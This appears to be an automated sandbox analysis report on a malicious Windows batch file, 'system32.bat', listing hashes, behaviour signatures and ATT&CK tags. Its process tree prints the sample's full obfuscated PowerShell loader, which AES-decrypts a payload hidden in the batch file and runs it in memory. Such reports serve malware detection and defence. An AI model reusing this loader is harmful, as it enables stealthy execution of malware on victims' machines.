d329a265d4005b2cb8902d6148ff5e4477f2203bc2e476e51e5895f9be99c53e

Analysis

max time kernel
43s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
10/01/2023, 08:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
system32.bat
Size 49KB
Sample230110-krksfsbc2t
SHA256 d329a265d4005b2cb8902d6148ff5e4477f2203bc2e476e51e5895f9be99c53e
MD5 4300caa42bd8fc0c7d9ce83b19c6f1f6
SHA1 ed8eedc542e02a8ab749b02f161d39bb840a589c
SHA512 0ebcd250ff95b3bd8058e4bc69640afec65cf91a2745e71303edc48e6066ffa44a589bc2bd060eb54a0c9bc189169757f9a0ec292a6200090e1422db5f64ed30
SSDEEP 1536:WBqEwgF4HVzac6F8F2xqWa8VfXx0da57eezlV4R:1/gF41GLNxfa8VPuda57egQ
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1228	system32.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1884	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1228	system32.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1228	system32.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 1228	1884	cmd.exe	29
PID 1884 wrote to memory of 1228	1884	cmd.exe	29
PID 1884 wrote to memory of 1228	1884	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\system32.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Users\Admin\AppData\Local\Temp\system32.bat.exe
  "system32.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\system32.bat').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CeRsc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

system32.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\system32.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

system32.bat.exe

Path \Users\Admin\AppData\Local\Temp\system32.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1228-57-0x000007FEFC101000-0x000007FEFC103000-memory.dmp

Download

memory/1228-58-0x000007FEF4E60000-0x000007FEF5883000-memory.dmp

Download

memory/1228-60-0x0000000002594000-0x0000000002597000-memory.dmp

Download

memory/1228-59-0x000007FEF4300000-0x000007FEF4E5D000-memory.dmp

Download

memory/1228-62-0x000000000259B000-0x00000000025BA000-memory.dmp

Download

memory/1228-61-0x0000000002594000-0x0000000002597000-memory.dmp

Download